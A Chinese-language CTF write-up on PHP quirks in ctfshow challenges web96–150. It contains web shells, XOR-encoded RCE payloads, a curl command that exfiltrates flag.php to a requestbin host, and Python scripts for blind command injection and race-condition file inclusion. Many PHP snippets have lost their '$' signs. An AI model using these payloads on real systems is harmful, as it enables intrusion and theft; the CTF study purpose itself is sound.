Web之PHP特性

符号特性

highlight_file当前目录下的文件(web96)

    if(_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file(_GET['u']);
    } 
?u=./flag.php

./是当前目录

../是父级目录

md5,sha1相等绕过(web97,web104,web106,web107)

利用数组绕过

if (isset(_POST['a']) and isset(_POST['b'])) {
if (_POST['a'] !=_POST['b'])
if (md5(_POST['a']) === md5(_POST['b']))
echo $flag;
else
print 'Wrong.';
} 
if(isset(_POST['v1']) && isset(_GET['v2'])){ 
    v1 =_POST['v1']; 
    v2 =_GET['v2']; 
    if(sha1(v1)==sha1(v2)){ 
        echo $flag; 
    } 
} 

md5,sha1不能处理数组,所以直接传两个数组就可以了

a[]=1&b[]=2

0e绕过弱比较

md5
240610708:0e462097431906509019562988736854
QLTHNDT:0e405967825401955372549139051580
QNKCDZO:0e830400451993494058024219903391
PJNPDWY:0e291529052894702774557631701704
NWWKITQ:0e763082070976038347657360817689
NOOPCJF:0e818888003657176127862245791911
MMHUWUV:0e701732711630150438129209816536
MAUXXQC:0e478478466848439040434801845361
sha1
10932435112: 0e07766915004133176347055865026311692244
aaroZmOk: 0e66507019969427134894567494305185566735
aaK1STfY: 0e76658526655756207688271159624026011393
aaO8zKZF: 0e89257456677279068558073954252716165668
aa3OFF9m: 0e36977786278517984959260394024281014729
0e1290633704: 0e19985187802402577070739524195726831799

双重md5下的0e绕过

7r4lGXCH2Ksu2JNT3BYM
CbDLytmyGm2xQyaLNhWn
770hQgrBOjrcqftrlaZk

$a==md5($a)

0e215962017

md5+SQL注入

使用ffifdyop,先md5再hex2bin后变成了'or'6�]��!r,��b,绕过SQL注入

NaN 和 INF

NANINF,分别为非数字和无穷大,但是var_dump一下它们的数据类型却是double,那么在md5函数处理它们的时候,是将其直接转换为字符串”NAN”和字符串”INF”使用的,但是它们拥有特殊的性质,它们与任何数据类型(除了true)做强类型或弱类型比较均为false,甚至NAN===NAN都是false,但md5('NaN')===md5('NaN')为true。

md5/sha1碰撞绕过不同字符串、相同md5/sha1值的强比较

md5

md5collgen -o 1.bin 2.bin生成两个md5值相同但内容不同的文件

sha1
a=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1
b=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

参考资料

https://www.csdn.net/tags/MtTaMg3sMjE2MDAzLWJsb2cO0O0O.html

三目运算符(web98)

$_GET?$_GET=&$_POST:'flag'; 
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__); 

这里的&是取地址符

上面的语句的意思是如果$_GET不是空的,那么$_GET=$_POST

后面要求$_GET['HTTP_FLAG']=='flag'

所以我们可以POST一个HTTP_FLAG=flag,GET随便传一个就可以了

奇怪的and(web100)

PHP中$a=true and false and false结果$a是True

因为=的优先级比and高,所以是先$a=true然后做了两个and

不过$a=true && false && false的结果是false

考虑第二部分的eval("v2('ctfshow')v3");

其实就是一个拼接

v1=1&v2=var_dump($ctfshow)/*&v3=*/;
?v1=1&v2=echo `ls`/*&v3=*/;
v1=1&v2=system('ls')/*&v3=*/;

变量覆盖(web105,web134)

web105

$$key 意思是开一个名字是$key的变量

这题只要GET传一个?suces=flag&flag=a就行了

web134

@parse_str(_SERVER['QUERY_STRING']); 
extract(_POST); 

先将GET值解析,再解析$_POST

payload呼之欲出?_POST[key1]=36d&_POST[key2]=36d

注意源码在html代码里。。。。

[(web123)

此图片的alt属性为空;文件名为image-6-1024x210.png

还有个点就是空格,左方括号,点都可以替代下划线
可以通过fun直接输出flag,不用管fl0g

空格代替_(web127)

可以通过Burpsuite爆破发现

遇到这种奇怪的函数替代就fuzz!

||与&&(web132)

||优先级和&&是一样的,从左往右执行

函数特性

preg_match与intval绕过

不存在数字字符却被认定为数字(web89)

        if(preg_match("/[0-9]/", num)){
        die("no no no!");
    }
        if(intval(num)){
            echo $flag;
        } 

绕过方法是传入一个非空数组

?num[]=0

因为preg_match不能处理数组(应该就跳过了),且intval遇到一个非空数组会返回1

intval($num,0)(web90,web92,web93,web94)

关于intval($num,0)

如果 base 是 0,通过检测 var 的格式来决定使用的进制:

  • 如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
  • 如果字符串以 "0" 开始,使用 8 进制(octal);否则,
  • 如果字符串以 "0b" 开始,使用 2 进制(bin);否则,
  • 将使用 10 进制 (decimal)。
web90,web92
        num =_GET['num'];
    if(num==="4476"){
        die("no no no!");
    }
    if(intval(num,0)===4476){
        echo flag;
    }else{
        echo intval(num,0);
    } 

这里就是说num本身不能是4476但intval转换后变成4476

绕过方法是传入一个十六进制数

?num=0x117C

这题还有个做法是传入4476a,$var中存在字母的话遇到字母就停止读取

web93,web94
        num =_GET['num'];
    if(num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i",num)){
        die("no no no!");
    }
    if(intval(num,0)==4476){
        echoflag;
    }else{
        echo intval($num,0);
    } 

这里可以传入八进制来绕过

?num=010574

而web94不同的地方就在于

        if($num==="4476"){
        die("no no no!");
    } 

这样的话可以传一个4476.0来绕过

web95
if(isset(_GET['num'])){num = _GET['num'];
    if(num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", num)){
        die("no no no!!");
    }
    if(!strpos(num, "0")){
        die("no no no!!!");
    }
    if(intval(num,0)===4476){
        echoflag;
    }
}

似乎把所有的路都堵死了

但其实还是可以八进制绕过的

比如

?num=+010574或?num=%0a010574
intval(intval())(web140)

只要$code = eval("return $f1($f2());");是0就可以了

考虑intval,usleep这种

Apache HTTPD 换行解析漏洞(CVE-2017-15715)(web91)

$a=$_GET['cmd']; 
if(preg_match('/^php$/im', $a)){ 
    if(preg_match('/^php$/i', $a)){ 
        echo 'hacker'; 
    } 
    else{ 
        echo $flag; 
    } 
} 
else{ 
    echo 'nonononono'; 
} 

做法是用%0A来让输入的数据分成多行

?cmd=%0aphp
一些笔记

有些时候可能会有上传文件的黑名单限制

    if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {
        exit('bad file');
    }

而我们上传1.php%0a就可以绕过

配置文件

<FilesMatch \.php$>
    SetHandler application/x-httpd-php
</FilesMatch>

的$会匹配\n和\r

但获取文件名时不能用$_FILES['file']['name'],因为他会自动把换行去掉

在apache2.4.0~apache2.4.29中存在这个漏洞

理论上,只要用正则来匹配后缀进行php解析的Apache就有这个问题

还有个Apache HTTPD 多后缀解析漏洞

就是如果运维人员给.php后缀增加了处理器

AddHandler application/x-httpd-php .php

在有多个后缀的情况下,只要一个文件含有.php后缀的文件即将被识别成PHP文件,没必要是最后一个后缀。

参考资料

https://www.leavesongs.com/PENETRATION/apache-cve-2017-15715-vulnerability.html

https://blog.csdn.net/qq_46091464/article/details/108278486

in_array(web99)

in_array中如果没有设置第三个参数,会先将类型转为整形,再进行判断。转换的时候,如果将字符串转换为整形,从字符串非整形的地方截止转换,如果无法转换,将会返回0

所以可以get传一个?n=1.php,post一个content=<?php @eval($_POST['shell']);?>

反射类(web101,web109)

web101

if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/",v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/",v3)){
            eval("v2('ctfshow')v3");
        }
    } 

这里过滤了很多很多东西

答案是利用反射类

?v1=1&v2=echo new Reflectionclass&v3=;

web109

    if(preg_match('/[a-zA-Z]+/', v1) && preg_match('/[a-zA-Z]+/',v2)){ 
            eval("echo new v1(v2());"); 
    } 

payload:?v1=Reflectionclass('POS');system('ls');//&v2=a

这题可以直接闭合

不闭合也是可以的v1=ReflectionClass&v2=system("ls")

程序会先执行system('ls')再报错,类似于phpinfo(system('ls'))

还是不懂反射类的原理。。。

异常处理类(web109)

    if(preg_match('/[a-zA-Z]+/', v1) && preg_match('/[a-zA-Z]+/',v2)){ 
            eval("echo new v1(v2());"); 
    } 

payload:?v1=Exception();system('ls');//&v2=a

payload:?v1=Exception&v2=system('ls)')

file_put_contents(web102,web103)

if(v4){s = substr(v2,2);str = call_user_func(v1,s); 
    echo str;    file_put_contents(v3,$str); 
} 

is_numeric在php5的环境中,是可以识别十六进制的,在php7中不行

substr($v2,2)表示截取$v2从第二个字符开始的字符串

然后因为v2是数字,考虑v1用hex2bin

我觉得一种方法是让$str变成一句话木马然后写在v3中,但is_numeric绕不过

答案我不是特别懂。。。那就强行立即一下呗

答案里是v3=php://filter/write=convert.base64-decode/resource=1.php

也就是把$str先base64-decode然后当成php代码执行,结果写到1.php里

v2就是,但是 PHP 中还有两种短标签,即`。

当关键字 “php” 被过滤了之后,此时我们便不能使用<?php ?>了,但是我们可以用另外两种短标签进行绕过,并且在短标签中的代码不需要使用分号;

其中,<? ?>相当于对<?php ?>的替换。而<?= ?>则是相当于<?php echo ... ?>

PHP中,反引号可以直接命令执行系统命令,但是如果想要输出执行结果还需要使用 echo 等函数

parse_str(web107)

parse_str() 函数把查询字符串解析到变量中。

注释:如果未设置 array 参数,则由该函数设置的变量将覆盖已存在的同名变量。

注释:php.ini 文件中的 magic_quotes_gpc 设置影响该函数的输出。如果已启用,那么在 parse_str() 解析之前,变量会被 addslashes() 转换。

ereg(web108)

if (ereg ("^[a-zA-Z]+",_GET['c'])===FALSE)  { 
    die('error'); 
}

ereg函数存在00截断漏洞,导致了正则过滤被绕过

payload:c=a%00877

FilesystemIterator类与getcwd函数(web110)

FilesystemIterator类可以返回文件名,获取当前的目录则可以用getcwd函数。

缺陷是如果flag的文件不在第一位的话,就不能得到这个文件名,而且这个也没法读文件

$GLOBALS(web111)

PHP的超全局变量$GLOBALS是一个包含了全部变量的全局数组,变量的名字是数组的键

is_file(web112,web113,web114)

Web112,web114

我们不能让is_file检测出是文件,并且 highlight_file可以识别为文件。这里就要利用php伪协议。

php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php

或者用base64-encode的二次编码来做到非预期解

?file=php://filter/convert.%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35/resource=flag.php

不是很明白什么时候会解码...

web113

/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php 

/proc/self/root指向的就是根目录,多次重复用来绕过is_file的检验

一些解释...https://www.anquanke.com/post/id/213235

is_numeric&trim(web115)

function filter(num){num=str_replace("0x","1",num);num=str_replace("0","1",num);num=str_replace(".","1",num);num=str_replace("e","1",num);num=str_replace("+","1",num);    returnnum; 
} 
num=_GET['num']; 
if(is_numeric(num) andnum!=='36' and trim(num)!=='36' and filter(num)=='36'){ 
    if(num=='36'){        echoflag; 
    }else{ 
        echo "hacker!!"; 
    } 
}else{ 
    echo "hacker!!!"; 
}

fuzz一下!

for (i=0;i <128 ; i++) {x=chr(i).'36';
    if(trim(x)!=='36' and is_numeric(x) andx!=='36' and x=="36"){
        echo urlencode(chr(i))."\n";
    }
}

payload:%0C36

highlight_file(web125)

?1=flag.php

fun=highlight_file($_GET[1])&CTF_SHOW=1&CTF[SHOW.COM=

看来一定要注意有没有过滤$,(),_

$_SERVER['argv'];(web126)

cli模式(命令行)下

第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数

web网页模式下

在web页模式下必须在php.ini开启register_argc_argv配置项

设置register_argc_argv = On(默认是Off),重启服务

$_SERVER[‘argv’]才会有效果

这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]

$argv,$argc在web模式下不适用

加号 + 分割 argv 成多个部分

get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str(a[1])
or
get:  ?fl0g=flag_give_me;
post:  CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])

注意第一个不能直接赋值fl0g

gettext()(web128)

这道题一直往无字母数组RCE那想去了

但这东西确实是很有意思的OvO(https://cloud.tencent.com/developer/article/1852985)

事实上是利用了gettext()函数,其中_() 是 gettext()的别名,可以直接输出文本

如gettext("phpinfo")返回phpinfo

payload:?f1=_&f2=get_defined_vars

看来call_user_func似乎不大能用无字母数字rce打

readfile(web129)

某花做出的人生中第一个非预期解!!!!!

readfile似乎是可以套伪协议来读的

而伪协议中是可以再随便套一层协议的!

payload:?f=php://filter/convert.base64-encode/ctfshow/resource=flag.php

然而预期解是?f=/ctfshow/../../../../var/www/html/flag.php

或者?f=./ctfshow/../flag.php

emmm不知道内部是什么机制

正则表达式(web130,web131)

web130

.+? 这是一个懒惰匹配, is表示不区分大小写和换行符也会匹配到

在/s模式下,.匹配任意字符,+表示重复一次或更多次,?表示懒惰模式,+?表示重复1次或更多次,但尽可能少重复。所以ctfshow前面必须得有字符才能匹配到,f=ctfshow就可以绕过了

这道题还可以数组绕过?f[]=1当stripos应用于数组的时候会返回null,null!false

web131

这里有$f = (String)$_POST['f'];,所以不能用数组了

一篇好文:https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

各种命令执行骚操作...(web133,web135,web136,web139)

参考资料

curl学习:https://www.ruanyifeng.com/blog/2019/09/curl-reference.html

WP:https://blog.csdn.net/qq_46091464/article/details/109095382

​ https://blog.csdn.net/Kracxi/article/details/121896054

基本思路

要想办法增加eval执行的内容

``是shell_exec()函数的缩写,会命令执行

?F=`F`;+Command
eval(substr(F,0,6))就是eval(`F`; )
相当于eval(shell_exec(`F`; Command))
由于Shell里面没有变量F,所以只会执行Command

我们要利用Command来带出flag.php的数据

web133

有一个简单的思路就是

?F=`$F`;+cp+flag.php+1.txt

但web133就不行,应该是因为没有权限

考虑用curl把数据带出来(在线工具)

?F=`$F`;+curl+-d+'@flag.php'+-X+POST+dnsdatacheck.zbtdlqmbc273uea7.b.requestbin.net

题解还有种做法是

?F=`$F`;+curl  http://requestbin.net/r/1puo0jq1?p=`cat test2.php|grep flag`

不大懂。。。

web135

这里可以用cp

?F=`$F`;+cp+flag.php+1.txt

web136

ls /|tee 1可以把ls结果写入1中。

web139

这题不能用136的技巧了,应该是没有写入权限

这题要时间盲注

?c=if [ `ls /|awk 'NR==1'|cut -c 1` == b ];then sleep 3;fi

awk NR==1表示取出输入的第一行

cut -c 1表示取出输入的第一个字符

抄了一下网上的脚本

ls
import requests
import string

dic = string.digits+string.ascii_letters+"_"
ans = ""

for i in range(1,15):
    is_find = 0
    for j in range(1,15):
        if is_find == 1:
            break
        for n in dic:
            payload = "if [ `ls /|awk NR=={}|cut -c {}` == {} ];then sleep 3;fi".format(str(i),str(j),n)
            #print(payload)
            try:
                res = requests.get("http://46422a6e-843b-405e-8821-291dd59affb6.challenge.ctf.show/?c="+payload,timeout=2.5)
            except:
                ans += n
                print(ans)
                break
    ans += " "

cat
import requests
import string

dic = string.digits+string.ascii_letters+"_"+"-"
ans = ""

for j in range(1,150):
    for n in dic:
        payload = "if [ `cat /f149_15_h3r3|cut -c {}` == {} ];then sleep 3;fi".format(str(j),n)
        #print(payload)
        try:
            res = requests.get("http://46422a6e-843b-405e-8821-291dd59affb6.challenge.ctf.show/?c="+payload,timeout=2.5)
        except:
            ans += n
            print(ans)
            break

call_user_func(web137,web138)

web137

error_reporting(0); 
highlight_file(__FILE__); 
class ctfshow 
{ 
    function __wakeup(){ 
        die("private class"); 
    } 
    static function getFlag(){ 
        echo file_get_contents("flag.php"); 
    } 
} 

call_user_func($_POST['ctfshow']);

ctfshow=ctfshow::getFlag可以调用一个静态的、不依赖于其他初始化的类方法

->用于动态语境处理某个类的某个实例

web138

call_user_func函数里面可以传数组,第一个元素是类名或者类的一个对象,第二个元素是类的方法名,同样可以调用。

ctfshow[0]=ctfshow&ctfshow[1]=getFlag

PHPRCE(web141,web143,web144,web145,web146,web147,web148)

web141

一篇好文(https://cloud.tencent.com/developer/article/1852985)

php有个特性

<?php
return 1 system("ls") 1;

可以正常执行,考虑用异或来做

剩下的就是无字母数字rce了

payload:?v1=1&v2=1&v3=%2b("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%03%01%08%00%06%0c%01%07%00%0b%08%0b"^"%60%60%7c%20%60%60%60%60%2e%7b%60%7b")%2b

web143

这里不能用加号分隔,要用*分隔

用脚本生成payload即可

<?php

myfile = fopen("xor_rce.txt", "w");contents="";
for (i=0;i < 256; i++) {
    for (j=0; j <256 ;j++) {

        if(i<16){hex_i='0'.dechex(i);
        }
        else{hex_i=dechex(i);
        }
        if(j<16){
            hex_j='0'.dechex(j);
        }
        else{
            hex_j=dechex(j);
        }
        preg = '/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i';    // 根据题目给的正则表达式修改即可
        if(preg_match(preg , hex2bin(hex_i))||preg_match(preg , hex2bin(hex_j))){
            echo "";
        }

        else{a='%'.hex_i;b='%'.hex_j;c=(urldecode(a)^urldecode(b));
            if (ord(c)>=32&ord(c)<=126) {
                contents=contents.c." ".a." ".b."\n";
            }
        }

    }
}
fwrite(myfile,contents);
fclose(myfile);
# -*- coding: utf-8 -*-

def action(arg):
    s1=""
    s2=""
    for i in arg:
        f=open("xor_rce.txt","r")
        while True:
            t=f.readline()
            if t=="":
                break
            if t[0]==i:
                s1+=t[2:5]
                s2+=t[6:9]
                break
        f.close()
    output="(\""+s1+"\"^\""+s2+"\")"
    return output

while True:
    param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
    print(param)

payload:?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%03%01%0b%00%06%0c%01%07%01%0f%08%0f"^"%60%60%7f%20%60%60%60%60%2f%7f%60%7f")*

web144

感觉就是改了一下payload的顺序...

payload:?v1=1&v3=%2b&v2=("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%03%01%0b%00%06%0c%01%07%01%0f%08%0f"^"%60%60%7f%20%60%60%60%60%2f%7f%60%7f")

web145

这题变成了或运算

payload:?v1=1&v2=1&v3=|('%13%19%13%14%05%0d'|'%60%60%60%60%60%60')('%03%01%14%00%06%0c%01%07%02%10%08%10'|'%60%60%60%20%60%60%60%60%2c%60%60%60')|

据说也可以三目运算

1?(xxx):3

也可以取反运算

web146

和145一样啊QwQ

web147

这题要用create_function函数

create_function(a,b)可以看成

function name(a){b}

这里的b就可以用}来闭合然后RCE了

if(!preg_match('/^[a-z0-9_]*/isD',ctfshow)) {
        ctfshow('',_GET['show']);
    }

正则表达可以在函数开头添加/来绕过

php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路 径; 而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写 法

web148

还是异或绕过

payload:?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%03%01%09%01%06%0c%01%07%01%0b%08%0b"^"%60%60%7d%21%60%60%60%60%2f%7b%60%7b");

题解好像是用中文什么的

预期解是使用中文 ?code=哈="{{{"^"?<>/";{哈}[哼]({$哈}[嗯]);&哼=system&嗯=tac f* "{{{"^"?<>/"; 异或出来的结果是 _GET

条件竞争(web149)

看出了是条件竞争但还是没做出来

题解说用多线程写,贴一个题解的

我没有试出来....多线程我也确实不懂...

# -*- coding: utf-8 -*-
# @Time : 20.12.5 11:41
# @author:lonmar
import io
import requests
import threading

url = 'http://e0761e8b-a21e-4548-87d8-57e528ea15ce.challenge.ctf.show/'


def write():
    while event.isSet():
        data = {
            'show': '<?php system("cat /ctfshow_fl0g_here.txt");?>'
        }
        requests.post(url=url+'?ctf=1.php', data=data)


def read():
    while event.isSet():
        response = requests.get(url + '1.php')
        if response.status_code != 404:
            print(response.text)
            event.clear()


if __name__ == "__main__":
    event = threading.Event()
    event.set()
    for i in range(1, 100):
        threading.Thread(target=write).start()

    for i in range(1, 100):
        threading.Thread(target=read).start()



非预期是直接把一句话木马写到index.php里

GET ?ctf=index.php
POST show=<?php eval($_POST[hack]);?>

web150与web150(plus)

这两道题真的学了好多东西!!

日志注入

参考资料:https://developer.aliyun.com/article/848813

利用session.upload_progress文件包含进行RCE

参考资料:https://www.xiinnn.com/article/f8bfdfb5.html

贴一个脚本

# -*- coding: utf-8 -*-
# @Time : 20.12.5 13:52
# @author:lonmar
import io
import requests
import threading

sessid = 'test'
data = {
    "ctf": "/tmp/sess_test",
    "cmd": 'system("cat flag.php");'
}


def write(session):
    while event.isSet():
        f = io.BytesIO(b'a' * 1024 * 50)
        resp = session.post('http://7445f895-6f17-4435-adc0-62055d7f0cb7.chall.ctf.show/',
                            data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'},
                            files={'file': ('test.txt', f)}, cookies={'PHPSESSID': sessid})


def read(session):
    while event.isSet():
        res = session.post(
            'http://7445f895-6f17-4435-adc0-62055d7f0cb7.chall.ctf.show/?isVIP=1',
            data=data
        )
        if 'flag{' in res.text:
            print(res.text)
            event.clear()
        else:
            print('[*]retrying...')


if __name__ == "__main__":
    event = threading.Event()
    event.set()
    with requests.session() as session:
        for i in range(1, 5):
            threading.Thread(target=write, args=(session,)).start()

        for i in range(1, 5):
            threading.Thread(target=read, args=(session,)).start()


还有个exp...https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py

等军训完了去学多线程OvO

class_exists与__autoload()

class_exists的第二个参数默认为True,也就是如果类不存在,会默认去执行__autoload

参考资料:https://www.cnblogs.com/nice0e3/p/15383699.html


告别纷扰,去寻找生活的宝藏。